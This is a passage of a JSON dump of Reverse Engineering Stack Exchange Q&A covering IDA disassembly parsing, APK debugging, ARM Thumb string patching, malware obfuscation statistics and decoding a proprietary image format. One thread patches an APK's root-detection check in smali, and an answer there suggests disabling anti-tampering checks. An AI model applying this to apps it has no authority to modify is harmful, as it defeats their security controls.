        "Answer": "<p>I assume you already have the assembly output produced by ida and want to parse test only if that is the case you can improvise this. </p>\n\n<p>Assuming i copy pasted the <code>IDA.ASM</code> in your post to a text file. </p>\n\n<p>I can print all the disassembly lines only using the XXX below \nif you are on windows you need the gnuwin32 port of the unix utilities used in path.</p>\n\n<hr>\n\n<p><strong>Suggestion 1:</strong></p>\n\n<p>Details of the text file:</p>\n\n<pre><code>wc -l ida.asm &amp; echo. &amp; head -n 2 IDA.ASM &amp; echo. &amp; tail -n 2 IDA.ASM &amp; echo. &amp; head -n 11 IDA.ASM | tail -1\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>31 ida.asm\n\n.text:00401000                             ; =============== S U B R O U T I N E =======================================\n.text:00401000\n\n.text:0040103E C3                                  retn\n.text:0040103E                             sub_401000      endp\n.text:00401000 55                                  push    ebp\n</code></pre>\n\n<p>Text parsing to isolate disassembly only from the said text file:</p>\n\n<pre><code>tac ida.asm | awk \"{if(a[$1]++==0){print $0} }\" | sort\n</code></pre>\n\n<p>Result as follows:</p>\n\n<pre><code>:\\&gt;tac ida.asm | awk \"{if(a[$1]++==0){print $0} }\" | sort\n.text:00401000 55                                  push    ebp\n.text:00401001 8B EC                                   mov     ebp, esp\n.text:00401003 83 EC 0C                                sub     esp, 0Ch\n.text:00401006 89 4D F4                                mov     [ebp+var_C], ecx\n.text:00401009 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401021 59                                  pop     ecx\n.text:00401022 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401025 83 78 04 00                             cmp     dword ptr [eax+4], 0\n.text:00401029 74 12                                   jz      short locret_40103D\n.text:0040102B 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:0040102E 8B 40 04                                mov     eax, [eax+4]\n.text:00401031 89 45 F8                                mov     [ebp+var_8], eax\n.text:00401034 FF 75 F8                                push    [ebp+var_8]     ; void *\n.text:00401037 E8 B8 0D 00 00                              call    ??3@YAXPAX@Z    ; operator delete(void *)\n.text:0040103C 59                                  pop     ecx\n.text:0040103D C9                                  leave\n.text:0040103E                             sub_401000      endp.text:0040103E C3                                  retn\n</code></pre>\n\n<hr>\n\n<p><strong>Suggestion 2:</strong></p>\n\n<p>Well as i commented if you could print the last line of a group based on first column comparison you can elieminate tac.\nI searched around SO and found this <a href=\"https://stackoverflow.com/questions/5429840/eliminate-duplicate-lines-and-keep-the-last-one\">print last line in each group of result based on comparison results of  first column only </a>.</p>\n\n<p>I adapted it to the needs of this question:</p>\n\n<pre><code>awk \"{a[$1]=$0} END {for (i in a ) print a[i]}\" IDA.lst  | sort | awk \"{ print substr($0,42) }\" | tr -s [:blank:]\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code> push ebp\n mov ebp, esp\n sub esp, 0Ch\n mov [ebp+var_C], ecx\n mov eax, [ebp+var_C]\n pop ecx\n mov eax, [ebp+var_C]\n cmp dword ptr [eax+4], 0\n jz short locret_40103D\n mov eax, [ebp+var_C]\n mov eax, [eax+4]\n mov [ebp+var_8], eax\n push [ebp+var_8] ; void *\n call ??3@YAXPAX@Z ; operator delete(void *)\n pop ecx\n leave\n sub_401000 endp\n</code></pre>\n\n<hr>\n\n<p><strong>Suggestion 3:</strong></p>\n\n<p>A similar solution based on the suggestions above. This approach will additionally respects the last <code>retn</code> statement and filters out comments (<code>;</code>) at the end of the line:</p>\n\n<pre><code>grep -E \"^.{10,15} [0-9A-F]{2} *\" IDA.ASM | sort | cut -c40-200 | tr -s [:blank:] | cut -d \";\" -f1\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code> push ebp\n mov ebp, esp\n sub esp, 0Ch\n mov [ebp+var_C], ecx\n mov eax, [ebp+var_C]\n pop ecx\n mov eax, [ebp+var_C]\n cmp dword ptr [eax+4], 0\n jz short locret_40103D\n mov eax, [ebp+var_C]\n mov eax, [eax+4]\n mov [ebp+var_8], eax\n push [ebp+var_8]\n call ??3@YAXPAX@Z\n pop ecx\n leave\n retn\n</code></pre>\n\n<p><H1> Pure AWK Based Suggestion </H1></p>\n\n<p>I have an aversion to using n number of utilities to accomplish a job<br>\nand i needed to brush up my <code>awkyquotient</code> so here is an awk only code<br>\nyou may need to test rinse and repeat<br>\nit seems to work for the copy paste of plain.asm    </p>\n\n<pre><code>{ \n    a[$1] = $0 ;                      # array a will contain last  entry in each group \n    if(b[$1]++==0) c[$1] = $0;        # array c will contain first entry of each group\n} END { \n    n = asort(a); m = asort(c);       # sort both arrays\n    if (n == m) {                     # some caution    \n        for( k=1; k&lt;=n; k++ ){     \n            if(a[k]!= c[k]) {         # lets split input into 3 seperate arrays  \n                d[k] = a[k]           # one where all entries except last is valid\n                e[k] = c[k]           # one where only last entry is valid\n            } else {\n                f[k] = a[k]           # one where both arrays have same entries\n            }\n        }\n    }\n    o = asort(d); p = asort(e) ; q= asort(f) # sort all 3 arrays\n    z = 1;\n    while(z != o)    {\n        g[z] = d[z]                  #insert final array with first n entries \n        z++;                         #(except last entry)\n    }\n    y = 1;\n    while(y != q+1) {\n        g[z] = f[y]                  #insert final array with all equal entries \n        z++;y++\n    }\n    x = p;\n    while(x != p-1) {\n        g[z] = e[x]                  # insert final array with last entry\n        z++;x--\n    }\n    r = asort(g)                     # sort the final array and print substring\n    startofdis = 44;                 # lets set a start    \n    for (i = 1; i &lt;= r; i++ ) {\n    match(g[i] ,/;.*/);              # match everything after a ; (semicolon)\n    if(RLENGTH == -1){               # awk should set the RSTART and RLENGTH\n    print substr( g[i] ,startofdis)  # if RLENGHT == -1 no semicolon \n    }                                # lets print from startofdis to end\n    else\n    print substr(g[i] , startofdis , RSTART-startofdis ) # print only the middle portion\n    }\n}\n</code></pre>\n\n<h2>Result as follows</h2>\n\n<pre><code>:\\&gt;awk -f awky.txt ida.lst\n        push    ebp\n            mov     ebp, esp\n            sub     esp, 0Ch\n            mov     [ebp+var_C], ecx\n            mov     eax, [ebp+var_C]\n        pop     ecx\n            mov     eax, [ebp+var_C]\n            cmp     dword ptr [eax+4], 0\n            jz      short locret_40103D\n            mov     eax, [ebp+var_C]\n            mov     eax, [eax+4]\n            mov     [ebp+var_8], eax\n            push    [ebp+var_8]\n                call    ??3@YAXPAX@Z\n        pop     ecx\n        leave\n        retn\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "13194",
        "CreationDate": "2016-08-03T03:05:45.347",
        "Body": "<p>I had some fun using IDA Pro Dalvik Debugger in the past using AVD emulator. \nHowever I stumbled upon a APK that somehow does not run well inside AVD. APK runs fine on a real device so I am trying to use IDA Pro dalvik debugger to debug the APK on a real device. </p>\n\n<p>The problem is, when using AVD all I had to setup was packagename and activity name in the <code>Debugger Setup -&gt; Set specific options</code> and debugger worked well but trying on a real device keep fails with message like <code>ADB error: listener 'tcp:239166' not found</code> or <code>IDA started the application but unable to connect ..</code> message. </p>\n\n<p>I tried <code>adb forward</code> on a port Dalvik debugger is using but no progress :(</p>\n\n<p>Can anyone provide help? Thanks in advance.</p>\n",
        "Title": "Howto setup IDA Pro Dalvik Debugger Process Options to debug APK on a real device",
        "Tags": "|ida|dalvik|",
        "Answer": "<p>Setting the target app to <code>debuggable</code> in the android manifest and repackaging the apk has done the job. I didn't know that AVD automatically sets the APK to debuggable. </p>\n"
    },
    {
        "Id": "13198",
        "CreationDate": "2016-08-03T07:46:34.993",
        "Body": "<p>I'm trying to reverse an apk, overload some function and rebuild/sign it.</p>\n\n<p>I should have done everything in the correct way; the only thing I edited is a function that check if the device is rooted.\nThe function is <strong>isRooted</strong> and it calls other 3 functions:</p>\n\n<pre><code>  public static boolean isRooted()\n  {\n    return (checkRootMethod1()) || (checkRootMethod2()) || (checkRootMethod3());\n  }\n</code></pre>\n\n<p>I tried to change the \"smali-version\" of this function in that way:</p>\n\n<pre><code>.method public static isRooted()Z\n    .locals 1\n\n    .prologue\n    .line 15\n    invoke-static {}, Lcom/name1/name2/CtrlDevice;-&gt;checkRootMethod1()Z\n\n    move-result v0\n\n    if-nez v0, :cond_0\n\n    invoke-static {}, Lcom/name1/name2/CtrlDevice;-&gt;checkRootMethod2()Z\n\n    move-result v0\n\n    if-nez v0, :cond_0\n\n    invoke-static {}, Lcom/name1/name2/CtrlDevice;-&gt;checkRootMethod3()Z\n\n    move-result v0\n\n    if-nez v0, :cond_0\n\n    const/4 v0, 0x0\n\n    :goto_0\n    return v0\n\n    :cond_0\n    const/4 v0, 0x0\n\n    goto :goto_0\n.end method\n</code></pre>\n\n<p>The only difference from the original version is that the cond_0 was</p>\n\n<pre><code>:cond_0\nconst/4 v0, 0x1\n</code></pre>\n\n<p>After that I built an APK with <strong>apktool</strong> and I signed it with <strong>jarsigner</strong> and everything seems to be ok, but when I install the app on my device and I run it, after the splash it crashes.</p>\n\n<p>I know that the question is really generic and I don't want a direct solution to this problem but I would like to know if is possible to implement something like a check that prevent to run the app after something has changed. Is possible something like that? How can I skip this check?</p>\n",
        "Title": "Reversed APK crashes after install",
        "Tags": "|android|java|apk|",
        "Answer": "<p>Yes it is possible to have anti-tampering checks, and I have seen apps with them. That being said, you should eliminate the simplest causes first.</p>\n\n<p>Did you check logcat? Most likely you accidentally screwed up the smali or otherwise messed up the apk. You should be able to see why the app crashed by checking logcat.</p>\n\n<p>Another thing you should check is whether the app works if you simply resign it with no code changes. </p>\n\n<p>Anyway, if it turns out that the app actually does have anti-tampering checks, you just have to reverse engineer it and disable the checks. There obviously isn't any one size fits all advice here, since anything you do is specific to the particular checks implemented.</p>\n"
    },
    {
        "Id": "13201",
        "CreationDate": "2016-08-03T15:18:42.487",
        "Body": "<p>I am trying to patch a cydia tweak which has been developed by using Objective-C. I would like to modify a piece of code to suite my need.</p>\n\n<p>I'm using IDA Pro V6.8 for my examining. After inspecting, I recognize that each Hex byte would represent a part of an assembly line code.</p>\n\n<p><em>Bellow is a screenshot for the code that I need to change.</em>\n<a href=\"https://i.stack.imgur.com/I0Yb2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/I0Yb2.png\" alt=\"enter image description here\"></a></p>\n\n<p>Looking at the above screenshot, we need to have 8 bytes <em>(4A F2 A6 50 C0 F2 01 00)</em> to represent a \"MOV\" instruction. Let's me say something about these 8 bytes:</p>\n\n<ol>\n<li>As I know, the first four bytes <em>(4A F2 A6 50)</em> represent for \"#(cfstr_UnknownCallbac - 0x9F56)\" which you see in the screenshot.</li>\n<li>The two following bytes <em>(C0 F2)</em> represent for an MOV instruction.</li>\n<li>The last two bytes <em>(01 00)</em> would tell the system to move value from the string into the register, in this case, the register is R0.</li>\n</ol>\n\n<p><strong>I have some concerns about the MOV instruction and the first four HEX bytes (4A F2 A6 50)</strong></p>\n\n<ol>\n<li><p>What does the \"0x9F56\" in the instruction means?</p></li>\n<li><p>How does the system know that the first four bytes reflect correctly to \"#(cfstr_UnknownCallbac - 0x9F56)\" not any other string variables?</p></li>\n<li><p><em>I need to create a new string and then I will use it to replace the existing \"#(cfstr_UnknownCallbac - 0x9F56)\"</em>. I believe that I just need to replace the first four HEX bytes so that it would point to the new string, but I don't know what are the HEX codes should I have here.</p></li>\n</ol>\n\n<p>Any help is appreciated, thank you very much.</p>\n",
        "Title": "How do I change a string correctly in IDA Pro?",
        "Tags": "|patch-reversing|",
        "Answer": "<p>To understand what's happening, you need to learn about <a href=\"https://en.wikipedia.org/wiki/Position-independent_code\" rel=\"nofollow noreferrer\">Position Independent Code</a> (PIC). </p>\n\n<p>In a nutshell, the compiler wants the executable code to be correct independent of where in memory it gets loaded. In the case of a shared library, the OS may load it at a different place every time; even if statically linked, PIC will make the linker's life easier.</p>\n\n<p>The \"trick\" that's normally used on ARM processors to produce PIC is using PC (Program Counter) relative addresses. The compiler doesn't produce code that says \"the string is at address 0x123456\", it produces \"the string is 0x1234 bytes behind this instruction\". Thus, when the program is moved in memory, the \"0x1234\" stays the same.</p>\n\n<p>Which is why your 2nd instruction adds the program counter to the relative address in R0.</p>\n\n<p>Now, to know what <code>ADD R0, PC</code> really does, you need to know how the processor works. The processor is in Thumb (2 byte instructions) mode as you can see from the 2 bytes difference between <code>9F52</code> and <code>9F54</code>, and when the processor executes the <code>ADD R0, PC</code> instruction, the prefetch unit will already have read the first two bytes of <code>BLX _MSlog</code>. So the PC that gets added is actually <code>9F56</code>. This should answer your <strong>first question</strong>: in the display of the opcode's meaning, IDA subtracts the value it knows to be added in the next instruction.</p>\n\n<p><strong>Second question</strong>: I don't know the internals of IDA, but I'm 99% sure it looks for <code>ADD Rx, PC</code> instructions, and produces a string reference like yours at the preceding instruction that loads <code>Rx</code>, just because it knows this is the standard way of achieving PIC on ARM.</p>\n\n<p><strong>Third question</strong>: Manually disasembling Thumb is hard - really hard - as you can see if you check the <a href=\"https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf\" rel=\"nofollow noreferrer\">Thumb instruction set</a>. And no, <code>4a f2 a6 50</code> isn't just a data offset; it loads the lower 16 bits of the value, and <code>C0 F2 01 00</code> loads the higher 16 bits of the value. The <a href=\"https://www.onlinedisassembler.com/odaweb/6xokUFH4/0\" rel=\"nofollow noreferrer\">Online Disassembler</a> translates those two sets of 4 byte instructions to </p>\n\n<pre><code>movw r0, #42406 ; 0xa5a6          \nmovt r0, #1\n</code></pre>\n\n<p>and you can read <a href=\"https://stackoverflow.com/questions/7800055/movw-and-movt-in-arm-assembly\">here</a> about the <code>movw</code> and <code>movt</code> instructions. IDA is friendly enough to show all of this as one single 8-byte instruction, but under the hood, a lot more is going on.</p>\n\n<p>So if you really want to change an offset like this, get familiar with the thumb manual I linked above, learn each and every bit, and assemble the new instructions manually. Or, just (ab)use the gnu assembler in the way I outlined in my answer to <a href=\"https://reverseengineering.stackexchange.com/questions/9094/offset-calculation-for-branch-instruction-in-arm/9096#9096\">this question</a>. Just write a bare minimum assembler snippet and have <code>as</code> handle the gory details for you.</p>\n\n<p>But, as @joxeankoret said: if you just want to change a string, and don't need the original string anwhere else, and the new string isn't longer than the old one, overwriting the string with the new one will be much easier than finding a place for your new string and adjusting the offsets. You can jump to that position by double clicking the label in IDA, or just scroll to the address <code>2FF4C</code> (<code>1A5A6+9F56</code>).</p>\n"
    },
    {
        "Id": "13204",
        "CreationDate": "2016-08-04T01:34:15.200",
        "Body": "<p>I am new to malware analysis .. and I was analyzing some 'windows' apps and found functions that I thought it exist only on malware, is this possible or there is something wrong with my analysis ? \nI am using Cuckoo sandbox .. the functions are: <code>SetWindowsHookExA</code>, <code>IsDebuggerPresent</code> .. and others as well </p>\n\n<p>One of the app examples is <strong>AcroRd32.exe:</strong> \nIt calls <code>IsDebuggerPresent</code> .. and this is its page on virustotal including all the information related to the sample in addition to the MD5.\n<a href=\"https://www.virustotal.com/en/file/9e702e7b53f6f00e344a1cb42c63eaf4d52ed4adb5407744a654753569044555/analysis/\" rel=\"nofollow\">https://www.virustotal.com/en/file/9e702e7b53f6f00e344a1cb42c63eaf4d52ed4adb5407744a654753569044555/analysis/</a></p>\n",
        "Title": "Can benign applications have such APIs?",
        "Tags": "|winapi|malware|benign|",
        "Answer": "<p>Yeah, there are definitely legitimate use cases for both <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx\" rel=\"nofollow noreferrer\">IsDebuggerPresent</a> and <a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-setwindowshookexa\" rel=\"nofollow noreferrer\">SetWindowsHookExA</a> common windows functions.</p>\n\n<p>I propose you a simple experiment you can try, take this little legitimate c++ snippet of mine:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;windows.h&gt;\n\nvoid main(int argc, char* argv[]) {\n    printf(\"Hello world\\n\");\n    while(true) {\n        printf(\"Debugger present: %d\\n\", IsDebuggerPresent());\n        Sleep(200);\n    }\n    system(\"pause\");\n}\n</code></pre>\n\n<p>Build it with your favourite c++ windows compiler and run it. Now, take your favourite debugger, I recommend you <a href=\"https://github.com/x64dbg/x64dbg\" rel=\"nofollow noreferrer\">x64dbg</a> and try this:</p>\n\n<ul>\n<li>Attach and detach to the running process to see how IsDebuggerPresent changes</li>\n<li>Once it's attached, try to hide the debugger</li>\n</ul>\n\n<p>By doing so, you'll understand the very basics about IsDebuggerPresents.</p>\n\n<p>About SetWindowsHookExA, I've seen it used on legit apps countless times so I can guarantee you is definitely not a microsoft function whose purpose is to be used on \"naughty\" apps :)</p>\n"
    },
    {
        "Id": "13206",
        "CreationDate": "2016-08-04T15:21:24.103",
        "Body": "<p>I'm interested in writing a network component to my IDAPython plugin, and QtNetwork looks really attractive, however it isn't include-able from IDAPython shell.</p>\n\n<p>Is there a simple way to add that functionality?</p>\n\n<p>Thanks.</p>\n",
        "Title": "QtNetwork in IDA's PyQt5",
        "Tags": "|ida|idapython|python|",
        "Answer": "<p>The official response I got from hex-rays states they rather avoid shipping too many third party libraries bundled with IDA if said libraries will not be helpful for the majority of users.</p>\n\n<p>They suggested compiling the necessary Qt libraries myself and bundling the resulting packages with the plugin, but unfortunately this will be a nightmare to maintain (carrying out those packages for every IDA version).</p>\n\n<p>Although using QNetwork will have some advantages (like clean async operation), my original goal was ease of maintenance and this is better achieved by using a python library like requests. That's probably the direction I'll be taking.</p>\n\n<p>the full response is this:</p>\n\n<blockquote>\n  <p>We don't, because the disadvantages would far surpass the benefit.\n  That is, we would have to ship many more libraries (no reason to stop\n  to QtNetwork), that probably &lt; 1% our users need, and adding that much\n  bloat for such little benefit, doesn't really make sense to us.</p>\n  \n  <p>That being said we provide instructions + patch to re-build it yourself\n  from the original Qt 5.4.1 sources:\n   - <a href=\"http://www.hexblog.com/?p=969\" rel=\"nofollow\">http://www.hexblog.com/?p=969</a></p>\n  \n  <p>With those you should obtain a new Qt build, that corresponds to\n  the one we're shipping, ... plus those libraries we don't ship\n  (and PDBs, of course.)</p>\n</blockquote>\n\n<p>They also went on and explained why Python/PyQt/QtWidgets.pyd are indeed shipped rather surprisingly:</p>\n\n<blockquote>\n  <p>A valid question would be: why ship python/PyQt5/QtWidgets.pyd then?\n  ..well, there really is no reason. This is a mistake.</p>\n</blockquote>\n\n<p>And finished by tipping off about an upcoming new minor release:</p>\n\n<blockquote>\n  <p>PS: We are a few days away from a new release (IDA 6.95), that will ship\n  with Qt 5.6.0, which is a long-term release (i.e., 3 years support +\n  bugfixes.)</p>\n</blockquote>\n\n<p>Noting the complexities of bundling additional IDA-QT libraries with plugins:</p>\n\n<blockquote>\n  <p>Unless you really have to build specifically for IDA 6.9 (and thus\n  Qt 5.4.1), perhaps it's best to wait for the new release, in order to\n  not have to do it twice? (I'll write a similar blog post with configure\n  options + patch for IDA 6.95)</p>\n</blockquote>\n"
    },
    {
        "Id": "13212",
        "CreationDate": "2016-08-05T07:23:21.640",
        "Body": "<p>There are several statistics and numbers out there of current malware families and their distributions.</p>\n\n<p>However, I'am looking for statistics which shows the distribution of <strong>malware</strong> differed by their <strong>obfuscation types</strong>, i.e. current distribution of <code>encrypted</code>, <code>oligomorphic</code>, <code>polymorphic</code>, <code>metamorphic</code> in the wild.</p>\n\n<p>So far I mainly focused reports lastly published by AV vendors, but couldn't find anything useful.</p>\n",
        "Title": "Distribution of malware obfuscation types",
        "Tags": "|malware|obfuscation|",
        "Answer": "<p>Unfortunately it seems so that there are no existing publications/statistics from av vendors. Reffered to [A] and the mentioned entropy analysis, 90% of the used samples are obfuscated by a polymorphic technique.</p>\n\n<blockquote>\n  <p><strong>[A] Toward Generic Unpacking Techniques for Malware Analysis with</strong>\n  <strong>Quantification of Code Revelation</strong> - 2009</p>\n</blockquote>\n\n<p>Perhaps a own analysis could help with a bigger set of malware samples. The following \"evalualtion\" of me was done with the public available <a href=\"https://www.kaggle.com/c/malware-classification/data\" rel=\"nofollow\">kaggle</a> malware set. Even if it is not a clear classifcation of the used obfuscation technique of the families, hopefully this approach could help you out or point you to the right direction. \nI did the classifaction with the help of different statistics like entropy value, chi-square distribution and a pi approximation.</p>\n\n<pre><code>NORM    COMPR   ENCR\n-----------------------------------------\n581     691     260      Ramnit      \n2475    3       0        Lollipop \n0       10      2932     Kelihos_ver3    \n6       51      418      Vundo   \n3       22      18       Simda  \n233     260     258      Tracur   \n387     4       7        Kelihos_ver1 \n524     667     37       Obfuscator  \n779     219     15       Gatak  \n\nNORM  = non-obfuscated characteristics (i.e. not compressed/encrypted)\nCOMPR = compressed or packed characteristics\nENCR  = encrypted characteristics\n</code></pre>\n"
    },
    {
        "Id": "13221",
        "CreationDate": "2016-08-06T23:08:29.917",
        "Body": "<p>There are some unknow images, which I would like to decode to <code>RRGGBBAA</code> format. It was a really hard work, but at the moment I can somewhat understand, that which part of the binary is responsible for what. But I'm stuck at the end, and I have no idea how to continue it. This is what I've found out:</p>\n\n<p>I know, that the size of the first image is a 9*3.</p>\n\n<p>There is some kind of table at the begining of the file:</p>\n\n<pre><code>0x08 0x08 0x10\n0x08 0x08 0x08\n0x00 0x00 0x00\n0x10 0x10 0x18\n0x18 0x18 0x20\n0x10 0x14 0x18\n0x08 0x08 0x10\n</code></pre>\n\n<p>And this is the image data:</p>\n\n<pre><code>0x09 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00\n0x0c 0x00 0x00 0x00 0x00 0x01 0x03 0x09 0x01 0x01 0x02 0x11 0x01 0x01 0x02 0x02\n0x01 0x0f 0x0f 0x03 0x0a 0x03 0x08 0x05 0x08 0x04 0x08 0x03 0x09 0x00 0x09 0x00\n0x0c 0x00 0x02\n</code></pre>\n\n<p>The number of elements in the table can be divided by three, so I think it is some kind of RRGGBB palette.</p>\n\n<p>But I have no idea, how to decode the imagedata. It's size is not 9*3, so It may be compressed. It is a really small image, and I think that this is why the compression made the binary bigger than it was before.</p>\n\n<hr>\n\n<p><strong>Edit:</strong></p>\n\n<p>I've uploaded this file here: <a href=\"https://ulozto.net/!Rku8rxNXT/2npflecb3-drk\" rel=\"nofollow noreferrer\">Download file</a></p>\n\n<p>I've colored it, to better understand it's structure.</p>\n\n<p>The first part of the file:</p>\n\n<p><a href=\"https://i.stack.imgur.com/nKsPT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nKsPT.png\" alt=\"hex1\"></a></p>\n\n<ul>\n<li>The red section is just some kind of file signature.</li>\n<li>The brown part is the file length in bytes. (1107)</li>\n<li>The green shows, how many images are stored in the file (currently one)</li>\n<li>The blue part shows, where the table begins ( 0x60 = at the 96th byte)</li>\n<li>The grey part shows, how long the content in the table is. Currently it's 7, so the table has 7*3 = 21 bytes, the other values are <code>CD</code></li>\n<li>The table is marked with purple</li>\n</ul>\n\n<p>The second part of the file:</p>\n\n<p><a href=\"https://i.stack.imgur.com/QUmGw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QUmGw.png\" alt=\"hex2\"></a></p>\n\n<ul>\n<li>The blue part is the header of the image.</li>\n<li>The yellow part shows, how long the image is (51bytes)</li>\n<li>The red is the image width, and the brown is the height (3*9)</li>\n<li>The 8 zero bytes (selected with green) are the same in each file.</li>\n</ul>\n\n<hr>\n\n<p>I've uploaded two more files.</p>\n\n<ul>\n<li>A similar small file: <a href=\"https://ulozto.net/!k1PYzGbkU/2npflecb7-drk\" rel=\"nofollow noreferrer\">Download</a></li>\n<li>And a bigger one: <a href=\"https://ulozto.net/!jEHtP2HjJ/nstrtfond-drk\" rel=\"nofollow noreferrer\">Download</a></li>\n</ul>\n\n<p>The bigger file has a resolution of 800*600 And I suspect it is this one (screenshot):</p>\n\n<p><a href=\"https://i.stack.imgur.com/fdX9v.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fdX9v.png\" alt=\"bacground\"></a></p>\n\n<p>At the beginning (from <code>3C0</code>), only the the first two or three bytes are set in each 4 byte group. From <code>0xD28</code>, I cannot recognise any pattern.</p>\n\n<hr>\n\n<p><strong>Edit2:</strong></p>\n\n<p>Spektre's code works with most of the files. But there are some small icons, with transparency, which look distorted.</p>\n\n<p>For example this icon: <a href=\"https://ulozto.net/!UX8on1tX2/nblaz30s-drk\" rel=\"nofollow noreferrer\">Download</a></p>\n\n<p>And this is how it looks like, over a brownish background: </p>\n\n<p><a href=\"https://i.stack.imgur.com/ORcYo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ORcYo.png\" alt=\"icon\"></a></p>\n\n<p>In this case, the scanlines are not fixed-width. And the unknown <code>252</code> flags at the beginning of each scanline, and <code>254</code> flags after every 32bytes are also different.</p>\n\n<p>I can recognise patterns and symmetry in the binary, but I haven't figured out yet, how it works.</p>\n\n<p>I've colored the scanlines of the icon's imagedata, to have a better overview:</p>\n\n<p><a href=\"https://i.stack.imgur.com/njdSu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/njdSu.png\" alt=\"icon hex\"></a></p>\n\n<p>Many of them starts with, and all of them ends with <code>0x02</code></p>\n\n<hr>\n\n<p><strong>Edit3:</strong></p>\n\n<p>I uploaded some images, with screenshots:</p>\n\n<ul>\n<li>Snowy mountain: <a href=\"http://ulozto.net/!xLAKJmuzx/mountain-zip\" rel=\"nofollow noreferrer\">Download</a></li>\n<li>Three icons: <a href=\"https://ulozto.net/!Ns6WZEmrR/images-zip\" rel=\"nofollow noreferrer\">Download</a></li>\n</ul>\n\n<p>I uploaded two more images, which I found distorted. The first is an icon, which is almost perfect. And the second one is a dragon, which is barely recognisable.  Unfortunately I cannot provide screenshots for this two: <a href=\"http://ulozto.net/!bqqUUskzx/images2-zip\" rel=\"nofollow noreferrer\">Download</a></p>\n\n<p>I implemented the core algorithm ( from <a href=\"https://reverseengineering.stackexchange.com/a/13224/16846\">Spektre's answer</a> ) in JS. It can be found, and edited online here: <a href=\"https://jsfiddle.net/zz20qkgw/5/\" rel=\"nofollow noreferrer\">JSFiddle link</a></p>\n\n<hr>\n\n<p><strong>Edit4:</strong></p>\n\n<p>I've made some progress with the mountain, and the dragon.</p>\n\n<p>I think, that the first 7 bits of the flag byte shows, on which x coordinate the line starts ( \u00b4xstart = flag>>1;\u00b4 ). The least significant bit is a switch, which marks, that the line has this offset or not. You can try/edit the current code here: <a href=\"https://jsfiddle.net/zz20qkgw/5/\" rel=\"nofollow noreferrer\">JSFiddle link</a></p>\n\n<p>The result is this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/cU72X.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cU72X.png\" alt=\"mountain_progress\"></a></p>\n\n<p>The expected result would be similar to this (which is not far):</p>\n\n<p><a href=\"https://i.stack.imgur.com/LzkC0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LzkC0.png\" alt=\"mountain\"></a></p>\n\n<p>The distorted parts around the mountain are shadow/transparency, but I still wasn't be able to find any marks/flags about where the blocks with alpha values start and end.</p>\n\n<hr>\n\n<p><strong>Edit5:</strong></p>\n\n<p>I think, I've found a pattern in the mountain image. After the flag byte, the next byte <strong>may</strong> show, (<code>flag2&gt;&gt;1</code>), how many <code>(Color, Alpha)</code> blocks are at the beginning of the line.</p>\n\n<p>The left side of the mountain looks slightly better now:</p>\n\n<p><a href=\"https://i.stack.imgur.com/SAy6T.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SAy6T.png\" alt=\"mountain left\"></a></p>\n\n<p><em>Unfortunately this change breaks the other images</em></p>\n",
        "Title": "Decoding an unknown image format with \"DREK\" signature (*.drk)",
        "Tags": "|binary-analysis|file-format|unpacking|decompress|binary-diagnosis|",
        "Answer": "<p>I was able to decode the images. <em>Spektre</em> did a great job detecting the files structure, and the debug view was really helpful in the process. I implemented the algorithm in JS, and the source code is available here: <a href=\"https://github.com/K-Adam/DrekDecoder\" rel=\"nofollow noreferrer\">https://github.com/K-Adam/DrekDecoder</a></p>\n\n<h2>Summary</h2>\n\n<p>Each line starts with a flag byte. It tells the decoder how many pixels to write and which mode to use. There are three possible write modes:</p>\n\n<ul>\n<li>Opaque</li>\n<li>Transparent</li>\n<li>Skip</li>\n</ul>\n\n<p>In opaque mode each pixel is represented by one byte, which references an RGB color in the palette. In transparent mode, the pixels are pairs of bytes: [Alpha, ColorIndex]</p>\n\n<p>After each sequence a control byte follows. Its structure is different from the flag byte, and also different in each writing mode. This control byte will tell how many pixels to write and which mode to use next, or if the end of the line is reached.</p>\n\n<h2>Details</h2>\n\n<p><strong>Flag byte</strong></p>\n\n<p>If the flag is zero <code>(flag == 0x0)</code>, then the line is empty.</p>\n\n<p>If the LSB is set <code>(flag &amp; 0b1)</code> then there is an offset at the beginning of the line, and the decoder will start in <em>Skip</em> mode. The rest of the bits will represent the length of the offset <code>(flag &gt;&gt; 1) + 1</code></p>\n\n<p>If the second bit is set then transparent, otherwise opaque mode will be used:</p>\n\n<pre><code>mode = (flag &amp; 0b10) ? Transparent : Opaque\n</code></pre>\n\n<p>The number of pixels can be found in the 5 MSB <code>(flag &gt;&gt; 3) + 1</code></p>\n\n<p><strong>Skip mode</strong></p>\n\n<p>The decoder will simply write <code>n</code> empty pixels to the output. The next byte will be a control byte.</p>\n\n<p>If LSB is set, then the decoder will switch to transarent mode. The other 7 bits represent the number of transparent pixels.</p>\n\n<p>If the three LSB is <code>0b100</code> then the decoder will continue in <em>Skip</em> mode, otherwise it will change to <em>Opaque</em> mode. The other bits represent the number of pixels <code>(vv &gt;&gt; 3) + 1</code></p>\n\n<p><strong>Opaque mode</strong></p>\n\n<p>Each data byte references an RGB color in the palette.</p>\n\n<p>If the LSB is set, then the decoder will switch to transparent mode for <code>(v1 &gt;&gt; 1) + 1</code> pixels. Otherwise the three LSB of the control byte is the 